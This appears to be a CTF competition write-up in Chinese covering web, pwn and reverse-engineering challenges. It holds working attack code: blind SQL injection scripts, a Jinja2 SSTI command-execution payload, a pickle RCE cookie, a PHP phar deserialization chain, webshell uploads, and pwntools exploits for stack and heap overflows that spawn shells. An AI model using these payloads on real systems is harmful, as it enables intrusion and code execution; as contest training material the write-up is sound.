smallboyZ
    • Create new note
    • Create a note from template
      • Sharing URL Link copied
      • /edit
      • View mode
        • Edit mode
        • View mode
        • Book mode
        • Slide mode
        Edit mode View mode Book mode Slide mode
      • Customize slides
      • Note Permission
      • Read
        • Only me
        • Signed-in users
        • Everyone
        Only me Signed-in users Everyone
      • Write
        • Only me
        • Signed-in users
        • Everyone
        Only me Signed-in users Everyone
      • Engagement control Commenting, Suggest edit, Emoji Reply
    • Invite by email
      Invitee

      This note has no invitees

    • Publish Note

      Share your work with the world Congratulations! 🎉 Your note is out in the world Publish Note

      Your note will be visible on your profile and discoverable by anyone.
      Your note is now live.
      This note is visible on your profile and discoverable online.
      Everyone on the web can find and read all notes of this public team.
      See published notes
      Unpublish note
      Please check the box to agree to the Community Guidelines.
      View profile
    • Commenting
      Permission
      Disabled Forbidden Owners Signed-in users Everyone
    • Enable
    • Permission
      • Forbidden
      • Owners
      • Signed-in users
      • Everyone
    • Suggest edit
      Permission
      Disabled Forbidden Owners Signed-in users Everyone
    • Enable
    • Permission
      • Forbidden
      • Owners
      • Signed-in users
    • Emoji Reply
    • Enable
    • Versions and GitHub Sync
    • Note settings
    • Note Insights New
    • Engagement control
    • Make a copy
    • Transfer ownership
    • Delete this note
    • Save as template
    • Insert from template
    • Import from
      • Dropbox
      • Google Drive
      • Gist
      • Clipboard
    • Export to
      • Dropbox
      • Google Drive
      • Gist
    • Download
      • Markdown
      • HTML
      • Raw HTML
Menu Note settings Note Insights Versions and GitHub Sync Sharing URL Create Help
Create Create new note Create a note from template
Menu
Options
Engagement control Make a copy Transfer ownership Delete this note
Import from
Dropbox Google Drive Gist Clipboard
Export to
Dropbox Google Drive Gist
Download
Markdown HTML Raw HTML
Back
Sharing URL Link copied
/edit
View mode
  • Edit mode
  • View mode
  • Book mode
  • Slide mode
Edit mode View mode Book mode Slide mode
Customize slides
Note Permission
Read
Only me
  • Only me
  • Signed-in users
  • Everyone
Only me Signed-in users Everyone
Write
Only me
  • Only me
  • Signed-in users
  • Everyone
Only me Signed-in users Everyone
Engagement control Commenting, Suggest edit, Emoji Reply
  • Invite by email
    Invitee

    This note has no invitees

  • Publish Note

    Share your work with the world Congratulations! 🎉 Your note is out in the world Publish Note

    Your note will be visible on your profile and discoverable by anyone.
    Your note is now live.
    This note is visible on your profile and discoverable online.
    Everyone on the web can find and read all notes of this public team.
    See published notes
    Unpublish note
    Please check the box to agree to the Community Guidelines.
    View profile
    Engagement control
    Commenting
    Permission
    Disabled Forbidden Owners Signed-in users Everyone
    Enable
    Permission
    • Forbidden
    • Owners
    • Signed-in users
    • Everyone
    Suggest edit
    Permission
    Disabled Forbidden Owners Signed-in users Everyone
    Enable
    Permission
    • Forbidden
    • Owners
    • Signed-in users
    Emoji Reply
    Enable
    Import from Dropbox Google Drive Gist Clipboard
       Owned this note    Owned this note      
    Published Linked with GitHub
    • Any changes
      Be notified of any changes
    • Mention me
      Be notified of mention me
    • Unsubscribe
    # CUMT国庆赛WP By None ## 1、Web ### sql1 ![](https://i.imgur.com/i8xXVrQ.jpg) 使用'/**/||'1'='登录得到账户密码为Alice,123456 在information_schema.columns查表名库名和字段名得到flag位于当前数据库的flag_table_1表当中,字段名为flag 运行以下脚本获得flag ```python= import requests import time baseurl='http://219.219.61.234:32769/index.php' result='' for i in range(4000): time.sleep(0) high = 127 low = 32 mid = (high + low) // 2 while high > low: tmplate = {'username': 'Alice','password':''} tmplate['password'] ='123456\'^if((ascii(right((select/**/group_concat(flag)/**/from/**/flag_table_1),{num}))<{ascii}),0,1)^\''.format(num=i, ascii=mid) payload=tmplate response = requests.post(url=baseurl,data=payload) if 'Alice' in response.text: high = mid else: low = mid + 1 mid = (high + low)//2 result += chr(mid-1) print(i, mid) print(result[::-1]) ``` ### SQL2 测试发现sleep,if,information_schema,right,left,substr,substring,空格都被ban了, 不过至少select和union都还是好的,被ban了的函数和数据库我们可以找到替代方法: 1.使用benchmark()函数替代sleep函数 2.使用正则匹配的从字符串头普匹配,结合=替代ascii(substr((select/**/...),0,1)))这种逐个获取单个字符串并判断的方法 3.使用mysql.db代替information_schema获取表名列名,字段名有没有无所谓,可以使用无列名联合注入,而且一般来说存放flag的表大多为3~4个字段,并不用尝试太多次 先通过select/**/version()查找到mysql版本为8.0.26 通过select/**/version()查找到用户名为admin 通过版本数据库查询,可以利用mysql.db查出数据库名database_name和表名table_name 得知flag在数据库flagisHere的flAg表中 由于information_schema被过滤掉了,mysql和sys库中也没找到其他记录有列名的库,所以使用无列名注入 (直接在脚本的command输入要执行的查询命令即可) ```python= import requests import time #map包含了常用于储存和输出数据的字符:0~9 A~Z a~z , _ ~ @ . 空格 map=[] for i in range(ord('0'),ord('9')): map.append(i) for i in range(ord('a'),ord('z')): map.append(i) for i in range(ord('A'),ord('Z')): map.append(i) add=[ord('_'),ord(','),ord('~'),ord('@'),ord('.'),ord(' ')] for i in add: map.append(i) baseurl='http://219.219.61.234:54380/login.php' temp='' map.append(0)#0是结束位,轮到0时表示前面的字符都不合适 for i in range(100): for i in map: p1="'^(select/**/group_concat(1,2,user(),BENCHMARK(10000000,'test'))/**/from/**/mysql.db/**/where((" p2=")/**/regexp/**/'^{num}'))||'" #command="select/**/version()" #command="select/**/user()" command="select/**/(select/**/group_concat(`3`)/**/from/**/(select/**/1,2,3/**/union/**/select/**/*/**/from/**/flagisHere.flAg)x)" tmplate = {'username': p1+command+p2,'password':''} right=temp+chr(i)#从左向右逐个探测字符 t=right tmplate['username']=tmplate['username'].format(num=t) time1=time.time() response = requests.post(url=baseurl,data=tmplate) time2=time.time() print( t,'\t') if time2-time1>0.15: temp=t print(temp) break if i==0: print('end') a=input() print(temp) ``` ### WEB4 同sql1 ```python= import requests,time baseurl='http://81.69.241.44:25500/' result='' for i in range(4000): time.sleep(0) high = 127 low = 32 mid = (high + low) // 2 while high > low: tmplate = {'username': 'Alice','password':''} #tmplate['password'] ='123456\'^if((ascii(right((select/**/group_concat(table_name,\'.\',column_name,\'|\')/**/from/**/information_schema.columns/**/where/**/(1<>(table_schema<>database()))),{num}))<{ascii}),0,1)^\''.format(num=i, ascii=mid) tmplate['password'] = '123456\'^if((ascii(right((select/**/group_concat(flag)/**/from/**/flag_table_1),{num}))<{ascii}),0,1)^\''.format(num=i, ascii=mid) payload=tmplate response = requests.post(url=baseurl,data=payload) if 'good' in response.text: high = mid else: low = mid + 1 mid = (high + low)//2 result += chr(mid-1) print(i, mid) print(result[::-1]) ``` ### SSTi 输入{{7*7}}得到回显49,猜测为jinja2的ssti注入,使用tplmap测试确实为jinja2,不过并不能从tplmap工具直接获取命令执行权限,手工测试发现[]和__都被禁了,不过config还可以得到正常回显,通过联合利用|attr()和reques.args配合GET传参逐步 逐步探测得到以下获取popen函数并执行的过程: config.__class__.__base__.__base__.__subclasses__().__getitem__(245).__init__.__globals__.__getitem(__builtins__).__getitem__(eval)(__import__('os')..popen('cat /flag')) 构造出以下payload获取flag > http://219.219.61.234:48000/hello?name={{config|attr(request.args.a)|attr(request.args.b)|attr(request.args.c)|attr(request.args.d)()|attr(request.args.e)(245)|attr(request.args.f)|attr(request.args.g)|attr(request.args.h)(request.args.i)|attr(request.args.j)(request.args.k)(request.args.l)}}&a=__class__&b=__base__&c=__base__&d=__subclasses__&e=__getitem__&f=__init__&g=__globals__&h=__getitem__&i=__builtins__&j=__getitem__&k=eval&l=__import__(%22os%22).popen(%22cat%20/flag%22).read() ### ez_upload 1.看题 进入界面得到include 'file'显然是提醒会包含file参数的文件,猜测应该是文件包含题 2.访问robots.txt 得到上传文件的地方:up10de.php 结果上传测试后发现只能上传png,jpeg,gif的图片,而且简单以GIF89a的文件马并不能蒙混过关,而且会提示函数报错,看样子是会图片渲染,失败了就直接jj,直接上传失败 3.通过上传正常文件图片,然后写入木马,这样子可以上传成功,下载图片发现虽然看起来图片渲染后无变化,但是通过010打开会发现里面的数据已经面目全非了 4.寻找数据没有被改变的区域插入一句话木马,我用的是gif图片,下载后看到写入的🐎确实还在 5.最烦的地方来了,找传参file的地方,我直接裂开,找了半天后面才知道默认首页就是传参的地方,因为之前我上传的图片在默认首页file传参后include丝毫没有一点反应是因为图片渲染失败(貌似是)就会让页面没有一点变化,后面通过删减图片数据段解除include的出错,成功getshell 6.5.图片马(下载上传即可使用post传shell参数执行命令)这个是图片马,下载可用:![](https://i.imgur.com/Hvr7BvU.gif) ### web6 (cookies+python反序列化pickle) 根据题目提示cookie,复制cookie进行base64解码看到一个cumter,而页面显示就是hello cumter,所以这就导致了见识窄的我以为是SSI或XSS漏洞,试了几个poc没反应,到网上找了一堆exp但是没一个有用的,最后在放出hint:pickle后才知道这个是pickle的python反序列化 去了解学习了pickle.loads()的反序列化过程和发序列化语句后构造payload,但是当时测试发现貌似如果发序列化后{'username':''}其中的value如果是非string根本不会有回显,不过一点小曲折过后学会了builtins.getattr()这个万金油函数后成功构造payload: > POC: (dp0 Vusername p1 cos popen (Vcat /flag tRp2 0cbuiltins getattr (g2 Vread tRp3 (tRp4 s. #base64加密后为:KGRwMApWdXNlcm5hbWUKcDEKY29zCnBvcGVuCihWY2F0IC9mbGFnCnRScDIKMGNidWlsdGlucwpnZXRhdHRyCihnMgpWcmVhZAp0UnAzCih0UnA0CnMu burp抓包修改一下cookie即可获得flag 以下为本地测试脚本: ```python= import pickle,base64 a='KGRwMApWdXNlcm5hbWUKcDEKY29zCnBvcGVuCihWZGlyCnRScDIKMGNidWlsdGlucwpnZXRhdHRyCihnMgpWcmVhZAp0UnAzCih0UnA0CnMu' test=pickle.loads(base64.b64decode(a)) print(test) print(test['username']) ``` ### web5 phar文件上传 在/file.php?show=页面获取到base.php,class.php,function.php,upload.php,file.php的源码打包到source.zip中分析,显示文件的只有Show的highlight_file函数和Cloud的base64_encode(file_get_contents($this->value))以为highlight_file的flag字符串被过滤了,所以只能考虑Cloud类的file_get_contents 分析class.php可以发现能通过构造pop链触发file_get_contents函数,但是没有接口对类进行反序列化,结合文件上传的题目环境可知,应该是上传phar文件并通过phar://协议读取上传的phar文件,触发反序列化漏洞,得到poc: ```php= <?php // use File as GlobalFile; // class File{ // public $fakefile; // public $file; // public function __construct($file) // { // $this->fakefile='fake'; // $this->file = $file='test'; // } // public function __destruct() // { // $this->file=$this->fakefile; // echo $this->file; // } // } // class Show{ // public $filename; // public function show() // { // if(preg_match('/\.\.|flag/i',$this->filename)) { // die('hacker!'); // } else { // highlight_file($this->filename); // } // } // } // class Docker{ // public $str; // public $container1; // public $container2; // function __toString() // { // if (isset($this->str)) // return $this->str->get_file(); // } // } // class Cloud{ // private $value; // public $docker; // function get_file(){ // $this->test=unserialize($this->docker); // if($this->test->container1===$this->test->container1){ // $text = base64_encode(file_get_contents($this->value)); // return $text; // } // } // } //---------------------------------上面为class.php源码下面为POC----------------------------------------------------- class File{ public $fakefile; public $file; public function __destruct() { $this->file=$this->fakefile; echo $this->file; } } class Docker{ public $str; public $container1; public $container2; function __toString() { if (isset($this->str)) return $this->str->get_file(); } } class Cloud{ private $value; public $docker; function __construct() { $this->value='/var/www/html/flag.php';//var/www/html路径可以在show.php处测试得到 } function get_file(){ $this->test=unserialize($this->docker); if($this->test->container1===$this->test->container1){ $text = base64_encode(file_get_contents($this->value)); return $text; } } } $file=new File(); $docker=new Docker(); $cloud=new Cloud(); $docker1=new Docker; $docker1->container1='1'; $cloud->docker=serialize($docker1); $docker->str=$cloud; $file->fakefile=$docker; echo serialize($file); //unserialize(serialize($file));//测试输出本地的/var/www/html/flag.php文件 $phar = new Phar("1.phar"); //生成phar文件 $phar->startBuffering(); $phar->setStub('<?php __HALT_COMPILER(); ? >'); $phar->setMetadata($file); $phar->addFromString("test.txt", "test"); //生成签名 $phar->stopBuffering(); ``` 分析文件可知上传的png,jpg,jpeg,gif文件的文件名会被经过md5加密后加上.jpg然后上传到文件夹./upload/ 运行上面脚本生成1.phar文件后改名为1.png后上传 访问/show.php,使用phar://伪协议加载上传的phar文件4a47a0db6e60853dedfcfdf08a5ca249.jpg(1.png结果md5重命名后的文件名) 访问/show.php?file=phar://./upload/4a47a0db6e60853dedfcfdf08a5ca249.jpg 得到flag.php的base64编码后的结果 解码得到flag ####sql2 ### web7 Weblogic(weak_password)任意文件读取、口令破解、文件上传,漏洞复现, 进入题目提示读取password,然后可以进入console,到console发现是一个Oracle的weblgic登录平台,另外给了任意文件读取漏洞的入口file.jsp,到网上查找weblogic的相关漏洞信息,找到与当前题目相对吻合的漏洞复现文章: 复现过程主要包括主要包括: 利用任意文件读取漏洞获取SerializedSystemIni.dat和config/config.xml 1.直接访问/hello/file.jsp?path=security/SerializedSystemIni.dat和/hello/file.jsp?path=config/config.xml 获得密码经AES加密后的密文和加密使用的AES数据 (<node-manage-password-encrypted>标签里面的数据) 2.注意:网上直接访问下载的二进制数据会有问题,应该属于burp抓包然后保存数据到文件即可 3.到https://github.com/TideSec/Decrypt_Weblogic_Password下载解密工具 4.加载\Tools5-weblogic_decrypt里面的jar文件打开工具,选取保存的二进制文件和AES数据解密获得密码 5.部署有jsp马的war 6.访问jsp马路径,成功getshell获取根目录下存放的flag的文件 详细过程可参考[https://blog.csdn.net/cscscys/article/details/107856619](https://) ## 2、PWN ### pwn1 nc 连上 直接cat flag ### pwn2 经典栈溢出 ![](https://i.imgur.com/L1HqCTN.png) ```python from pwn import * #r=process("./pwn2") r=remote('1.15.81.218',10001) p=b'a' * 72 + p64(0x400596) r.sendline(p) r.interactive() ``` 直接传就行了... ### pwn3 开了NX保护,没开金丝雀 ![](https://i.imgur.com/MvzSxml.png) 有个echo flag,感觉像是那么回事,实际上没用, 所以还是得通过system函数来搞 ![](https://i.imgur.com/Sln7kL0.png) 这里s大小是0x28,所以只能溢出0x8字节,不够写太长的,但是这里可以读两次,所以思路是第一次泄露ebp地址,第二次写入system(‘/bin/sh’),然后用leave;ret栈劫持s,执行system('/bin/sh') 要劫持s要知道s的地址,可以通过动调知道ebp到s的距离,然后计算 ebp到s的距离为0xffffc1f8 - 0xffffc1c0 = 0x38 所以ebp: ```python p = b'a'*0x27+b'b' r.send(p) r.recvuntil(b'b') ebp = u32(r.recv(4)) ``` 可以得到ebp的地址,然后-0x38得到s 完整exp: ```python from pwn import * r=process('./pwn3') #r=remote('1.15.81.218',10002) sys_addr=0x8048400 leave_ret=0x08048562 main_addr=0xdeadbeef p=b'a'*0x27+b'b' r.send(p) r.recvuntil(b'b') s_addr=ebp=u32(r.recv(4))-0x38 # ebp-s=0x38 print(s_addr) p2=b'aaaa'+p32(sys_addr)+p32(main_addr)+p32(s_addr+0x10)+b"/bin/sh" p2=p2.ljust(0x28,b'\x00') # /bin/sh添上\x00 p2+=p32(s_addr)+p32(leave_ret) # hijack s r.send(p2) r.interactive() ``` ### brute? brute canary,暴力破解金丝雀 ```python from pwn import * from LibcSearcher import * #r = process('./brute') r=remote('1.15.81.218',20000) canary = b'\x00' def find(): global canary,r #r = process('./brute') r=remote('1.15.81.218',20000) print(r.recvuntil(b'2021!\n')) canary = b'\x00' for j in range(3): for i in range(0x100): r.send(b'a'*100 + canary + bytes(chr(i).encode())) a = r.recvuntil(b'2021!\n') if b'Successfully' in a: canary += bytes(chr(i).encode()) print(canary) break if(len(canary)!=4): find() find() print(canary) elf = ELF('./brute') system = elf.plt['system'] puts_got = elf.got['puts'] puts_plt = elf.plt['puts'] main = 0x08048560 p1 = b'a' * 100 + canary +b'a'*12+ p32(puts_plt) + p32(main) + p32(puts_got) #print(r.recvuntil(b'2021!\n')) r.sendline(p1) puts_addr = u32(r.recv()[0:4]) print('puts_addr:',puts_addr) libc = LibcSearcher('puts',puts_addr) base = puts_addr - libc.dump('puts') sys_addr = base + libc.dump('system') bin_sh = base + libc.dump('str_bin_sh') p2 = b'a' * 100 + canary +b'a'*12+ p32(sys_addr) + b'a' * 4 + p32(bin_sh) r.sendline(p2) r.interactive() ``` 爆破好慢... CUMTCTF{5305918b-e080-4f2d-b9b1-8a6f3ed727d5 ### pwn4 edit的地方有个堆溢出漏洞 l33t是后门函数,想要触发需要使位于bss的(unsigned __int64)magic > 0x1305 unsorted bin attack,修改magic的值为unsorted bin的地址,可以使magic > 0x1305 ... 被坑了。。。 竟然不是这个目录。。。。。。。。。。。 然后打算修改一下system指令的字符串,发现这个字符串被存在rodata,只读 ![](https://i.imgur.com/NwyMhic.png) 只能重新搞 想办法控制heaparray, 用fake chunk修改heaparray[0]为free_got的地址,然后用edit()修改free_got为system的地址 接下来就free掉一个存了 /bin/sh\x00 的chunk,这样就可以getshell了,这个可以事先创建好这样的一个chunk来实现,然后用delete_heap调用free fake chunk的话,可以再搞两个chunk,free第一个chunk,然后修改另一个造成堆溢出来修改第一个chunk的fd指针,使其指向fake chunk ```python from pwn import * #r=process("./pwn4") r=remote('1.15.81.218', 10003) elf=ELF("./pwn4") heaparray=0x006020E0 fake_fastbin=0x6020ad system_addr=0x400C2C free_got=elf.got["free"] def create(size,content): r.recvuntil("Your choice :") r.sendline(str(1)) r.recvuntil("Size of Heap : ") r.sendline(str(size)) r.recvuntil("Content of heap:") r.sendline(content) r.recvuntil("SuccessFul") def delete(index): r.recvuntil("Your choice :") r.sendline(str(3)) r.recvuntil("Index :") r.sendline(str(index)) r.recvuntil("Done !") def edit(index,size,content): r.recvuntil("Your choice :") r.sendline(str(2)) r.recvuntil("Index :") r.sendline(str(index)) r.recvuntil("Size of Heap : ") r.sendline(str(size)) r.recvuntil("Content of heap : ") r.sendline(content) r.recvuntil("Done !") create(0x10,b'a' * 0x10) # idx0 create(0x10,b'a' * 0x10) # idx1 create(0x60,b'b' * 0x10) # idx2 create(0x10,b'/bin/sh\x00') # id3 delete(2) edit(1,0x30,0x10 * b'a' + p64(0) + p64(0x71) + p64(0x6020ad) + p64(0)) create(0x60,b'd' * 0x10) # idx1 p=0x23 * b'e' + p64(free_got) create(0x60,p) # idx4 edit(0,0x8,p64(0x400C2C)) r.recvuntil(b"Your choice :") r.sendline(str(3)) r.recvuntil(b"Index :") r.sendline(str(3)) r.interactive() ``` ## 3、Reverse ### 签到 拖进IDA就能看到flag ### net ![](https://i.imgur.com/mNMiBa4.png) .net逆向,输入主要处理函数如上,涉及到取模不好逆推,直接爆破。 ```python= a=[30361,550,595,15412,30361,15412,8346,27071,37594,37534,9781,1082,19619,9781,1082,15513,29591,19596,30078,27942,25366,29107,7433,28493,9781,29591,2664,12540] k=[] def dunc(a,b,c) : num=1 a %= c while (b != 0): flag = b % 2 == 1 if flag: num = num * a % c b >>= 1 a = a * a % c return num for j in range(len(a)): for i in range(255): if dunc(i,377,38009)==a[j]: k.append(i) for m in k: print(chr((m-28)&0xff),end='') ``` ### easyAPK 原本是一个有360加固的题,网上搜索能找到脱壳的方法,这里我用的BlackDEX32配合MT和NP管理器进行脱壳。 ![](https://i.imgur.com/GrJeDhB.png) 不过脱壳之后用jadx没找到关键点,搜索check和Try again也没找到,不过在smail里面发现了端倪,用jeb加载一下能看到大致逻辑和后面减弱难度后的逻辑类似,但是拼的是哪个字符串看不出来=.=。 ![](https://i.imgur.com/qspcuZU.png) 后面放的难度就是白给了,无壳直接找到字符串即可,最后一个在native层。 first → We1c0me ![](https://i.imgur.com/TE48zq5.png) We1c0me_t0_easyAPK ### vm 刚开始是filter,看sys里面的代码硬看理不清逻辑,很多下标的跳转,自己也不会动调这个文件。之后换成了windos文件,逻辑看起来就比较清楚,有个switch并且有个Byte数组在内存中很整齐有点类似机器码。所以采用了vm技术,调度器和opcode都比较少,不写脚本通过静态就能分析出,开始4个是寄存器,之后根据opcode一条条执行,简化后的算法就是a+b==xxx 和 a*b=xxx的比较,解出来的顺序根据自己动调时的比较调一调即可,懒得看了。 ```python= a=[0x41, 0x10, 0x72, 0x61, 0x00, 0x00, 0x00, 0x50, 0x40, 0x20, 0x41, 0x40, 0x04, 0xB0, 0x9F, 0x94, 0x62, 0x70, 0x61, 0x00, 0x00, 0x00, 0x50, 0x40, 0x30, 0x01, 0x40, 0x04, 0x87, 0x4F, 0x57, 0x94, 0x70, 0x61, 0x00, 0x00, 0x00, 0x40, 0x05, 0x19, 0x88, 0x7D, 0x09, 0x70, 0x61, 0x00, 0x00, 0x00, 0x41, 0x23, 0x71, 0x61, 0x00, 0x00, 0x00, 0x50, 0x42, 0x20, 0x43, 0x40, 0x04, 0x7F, 0xBD, 0xAB, 0xA3, 0x70, 0x61, 0x00, 0x00, 0x00, 0x50, 0x42, 0x30, 0x03, 0x40, 0x04, 0xEE, 0x5F, 0x71, 0xEF, 0x70, 0x61, 0x00, 0x00, 0x00, 0x40, 0x05, 0xBC, 0xD3, 0x04, 0x16, 0x70, 0x61, 0x00, 0x00, 0x00, 0xFE, 0xFF] print((0x10>>4)%6) print((0x10&0xf)%6) print((0x40>>4)%6) print((0x40&0xf)%6) print((0x41>>4)%6) print((0x41&0xf)%6) print(chr(ord('0')+ord('4'))) #b[1]+b[4]==0x62949fb0 #即b[0]+b[1]=0x62949fb0 # 0x50 + 0x40 是b[4]=b[0] #0x30 + 0x01 是 #b[4]*b[1]= b[0]*b[1]=0x94574f87 #0x70 0x61 0x00 0x00 0x00 0x00 #进行check 如果相等就继续 不等就结束 #0x40 +0x05 后面是 第六部分的比较. #0x19,0x88, 0x7D, 0x09 #0x41 + 0x23要求 b[2] != b[3] print((0x42>>4)%6) print((0x42&0xf)%6) #0x50 + 0x42 是把第三部分赋值给第五部分 #0x20+0x43 print((0x43>>4)%6) print((0x43&0xf)%6) #第五部分 与 第4部分相加 b[4]+b[3]= #之后比较 0x7F, 0xBD, 0xAB, 0xA3 #0x50 +0x42 #第三部分赋值 #0x30+0x03 是 b[4]*b[3] = #之后比较 0xEE, 0x5F, 0x71, 0xEF 注意小端序 #0x40+0x05 是 第六部分 和 0xBC, 0xD3, 0x04,0x16比较 ``` 直接硬读opcode边条边读,知道0x30,0x20,0x40,0x70开头代表什么指令后就比较简单了。 ```python= from z3 import * import gmpy2 from Crypto.Util.number import * a1=BitVec('a1',32) a2=BitVec('a2',32) a3=BitVec('a3',32) a4=BitVec('a4',32) s=Solver() s.add((a1+a2)&0xffffffff==0x62949fb0) s.add((a1*a2)&0xffffffff==0x94574f87) s.add((a3+a4)&0xffffffff==0xa3abbd7f) s.add((a3*a4)&0xffffffff==0xef715fee) s.check() print(s.model()) print(long_to_bytes(2974637891)[::-1]) print(long_to_bytes(2974236781)[::-1]) print(long_to_bytes(826689870)[::-1]) print(long_to_bytes(1919251505)[::-1]) a='4d5f43' b='47406d' for i in range(0x80): a1=hex(i).zfill(2)+a for j in range(0x80): b1=hex(i).zfill(2)+b c=int(a1,16) d=int(b1,16) if (c+d)&0xffffffff ==0x62949fb0 and (c*d)&0xffffffff ==0x94574f87: print(long_to_bytes(c)[::-1],long_to_bytes(d)[::-1]) break ``` 当时感觉乘法可能会有越界,所以直接用z3解,不过有不可见字符,最后在小范围下爆破不可见就行,做麻烦了,不想改了,以后绝对求根公式。 #flag{m@G1C_M1NIF11ter} ### pthread 运行一下,缺少pthread.dll文件,百度下载就行,之后查壳,ASPack壳,脱壳机对应版本的没找到,32位exe直接丢进OD用esp脱壳定律,如果是在XP以后的版本脱壳,基址会有所改变,OD中按m查看PE文件的基地址在dump时候改一下即可,oddump出的文件调不起来有点难受,或许要用ImportREC修复一下。 直接拖进IDA中查看源码,有很多小细节容易犯错,写在注释里了。 ![](https://i.imgur.com/jTNu8YA.png) ![](https://i.imgur.com/gjUISis.png) 整体逻辑就是先异或,之后从0开始取出当前字节的1 3 5 7位(下标从0开始,从右往左),和下一个字节的0 2 4 6位重组为一个,然后5个一组,一共5大组。 还原exp,也想到会不会线程的顺序并不是按照顺序来的,不过也就是换一下明文的顺序就好。 ```python= from itertools import permutations enc=[0x0d,0x5b,0x5e,0x21,0x69,0x25,0x4f,0x5d,0x4d,0x3d,0x6b,0x1b,0x5a,0x17,0x43,0x32,0x68,0x38,0x5e,0x4f,0xc,0x23,0x7e,0x25,0x7c] def decrypt(enc): for i in range(len(enc)): if i==0: a=bin(enc[len(enc)-1])[2:].zfill(8)[-4:] else: a=bin(enc[i-1])[2:].zfill(8)[-4:] b=bin(enc[i])[2:].zfill(8)[:4] m='' for j in range(4): #...开始写成i了 m+=b[j]+a[j] print(chr(int(m,2)^(i)),end='') #print() cbox=[] for i in range(len(enc)//5): cbox.append(enc[5*i:5*i+5]) for i in range(5): decrypt(cbox[i]) #Are_-Y0ur_-FeE1_-HapPY-_? ``` ### ill formed 这个题是真的宝藏题目,32位程序IDA载入,一开始看不出啥逻辑,猜测是用了混淆或者是花指令,结果都不是=.= ![](https://i.imgur.com/eoZpjXV.png) 看到这里,联想到一个知识点,retf 是修改ip 和 cs的值 而在修改前push了 0x33 并且通过call押进去返回地址,然后对返回地址值加5,最后retf ,所以最终cs的值是0x33 , 而cs=0x33也意味着接下来要以64位来解析代码,所以这是在32位程序中调用了64位程序。 想着直接修改PE文件标志文件位数的标识来拖入IDA64中分析一波,可是后来还有类似这种切换,又从64回到了32,所以IDA64中的解析也是错误的。0x10B改为0x20B ![](https://i.imgur.com/XlPFNRx.png) 参考网上的古老讲解https://www.163.com/dy/article/E8SMV14K0511FSTO.html。 IDC脚本之后会用到。 这篇文章整体意思就是要么就能让他F5反编译,在32和64位间切换,要么就是要动调起来猜测过程,=.=我都没有实现。 那就回到老本行,直接硬逆,用里面的IDC脚本dump出一段64位的程序,拖入IDA64中查看。 ```c= static main(void) { auto fp, begin, end, dexbyte; fp = fopen("D:\111.mem", "wb"); begin = 0x0040116C; end = 0x004012D6; for ( dexbyte = begin; dexbyte < end; dexbyte ++ ) fputc(Byte(dexbyte), fp); } ``` ![](https://i.imgur.com/gdij9pt.png) 不要老想着F5反编译,汇编一般最接近真实的逻辑,看了眼汇编用到了64位的寄存器r8和r9,然后结合32位的代码大多是赋值操作,结合32位下的寄存器是32位,并且flag只有16字节,所以猜出是直接将flag分为4段,然后传入64位下用两个64的寄存器来存储。 ![](https://i.imgur.com/Qu6HNPb.png) 这个是我直接修改pe标识在64位ida下把每个64位代码定义为函数的结果,这个反编译有错误,只需要看大致的加密结构。有点像密码学中的festil轮函数,每次只对r8寄存器和r9寄存器计算后的值异或,一共有6轮,并且每次的循环次数不一样。分析一下汇编,发现天堂之门,rbx寄存器是64位,也就是把传入的eax,ebx,ecx,edx 4个4字节变成两个8字节来处理,处理6轮,每轮的循环次数都不一样,主要就是异或和交换,尝试逆一下 ![](https://i.imgur.com/7UabaKK.jpg) exp ```python= from Crypto.Util.number import * eax=0x7457B95A ebx=0xC7638E3C ecx=0x4E66BC65 edx=0xDD0F9728 dc = int(str(ebx)[2:] + str(eax)[2:], 16) for i in range(0xc013): dc=(dc*0x7132 + 0x139783)&0xffffffffffffffff ba=(edx<<32)|(ecx) ba=(dc^ba)&0xffffffffffffffff edx,ecx=ebx,eax ebx=ba>>32 eax=ba&0xffffffff dc = int(str(ebx)[2:] + str(eax)[2:], 16) for i in range(0x55bf): dc=(dc*0x7132 + 0x139783)&0xffffffffffffffff ba=(edx<<32)|(ecx) ba=(dc^ba)&0xffffffffffffffff edx,ecx=ebx,eax ebx=ba>>32 eax=ba&0xffffffff dc = int(str(ebx)[2:] + str(eax)[2:], 16) for i in range(0xc109): dc=(dc*0x7132 + 0x139783)&0xffffffffffffffff ba=(edx<<32)|(ecx) ba=(dc^ba)&0xffffffffffffffff edx,ecx=ebx,eax ebx=ba>>32 eax=ba&0xffffffff dc = int(str(ebx)[2:] + str(eax)[2:], 16) for i in range(0x19e4): dc=(dc*0x7132 + 0x139783)&0xffffffffffffffff ba=(edx<<32)|(ecx) ba=(dc^ba)&0xffffffffffffffff edx,ecx=ebx,eax ebx=ba>>32 eax=ba&0xffffffff dc = int(str(ebx)[2:] + str(eax)[2:], 16) for i in range(0x7a20): dc=(dc*0x7132 + 0x139783)&0xffffffffffffffff ba=(edx<<32)|(ecx) ba=(dc^ba)&0xffffffffffffffff edx,ecx=ebx,eax ebx=ba>>32 eax=ba&0xffffffff dc = int(str(ebx)[2:] + str(eax)[2:], 16) for i in range(0x5b24): dc=(dc*0x7132 + 0x139783)&0xffffffffffffffff ba=(edx<<32)|(ecx) ba=(dc^ba)&0xffffffffffffffff edx,ecx=ebx,eax ebx=ba>>32 eax=ba&0xffffffff print(long_to_bytes(eax)[::-1].decode(),end='') print(long_to_bytes(ebx)[::-1].decode(),end='') print(long_to_bytes(ecx)[::-1].decode(),end='') print(long_to_bytes(edx)[::-1].decode(),end='') #W@y_TO_ThEHe@V3N ``` ### ransomeware 勒索病毒分析,最近挺热们的一个考点,不过学长混入了npc,模拟了小白被勒索病毒攻击,怎么帮他解决问题的过程。 有很多地方有异或的操作,所以在调之前拿到python中异或一下,看是不是明文 ```python= v11 -> Incredible! But you'll stop here v14 -> C:\flag.docx v10 -> SOFTWARE\Microsoft\Cryptography v12 -> v14 -> ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+- {6EDD 6D74-C007-4E75-B76A-E5740995E24C} E le va ti on :A dm in is tr at or !n ew :{ 3E 5F C7 F9 -9 A5 1- 43 67 -9 06 3- A1 20 24 4F BE C7 } #在前面的一个函数感觉是要拿到权限 ``` 开始没有思路,感觉有啥smc或者花指令的,但并没有,并且根据这些异或的字符串拿到了很多信息,根据以往的勒索病毒,大概是在c:/创建 flag.docx 之后才能开始调,中间貌似看到了salsa20加密。 ![](https://i.imgur.com/mwC9Xlc.png) salsa20加密,搜索expand 32-byte k 就能找到 http://www.crypto-it.net/eng/symmetric/salsa20.html 确实能调起来,但是遇到dword .data段的当函数名 。。而且值是0 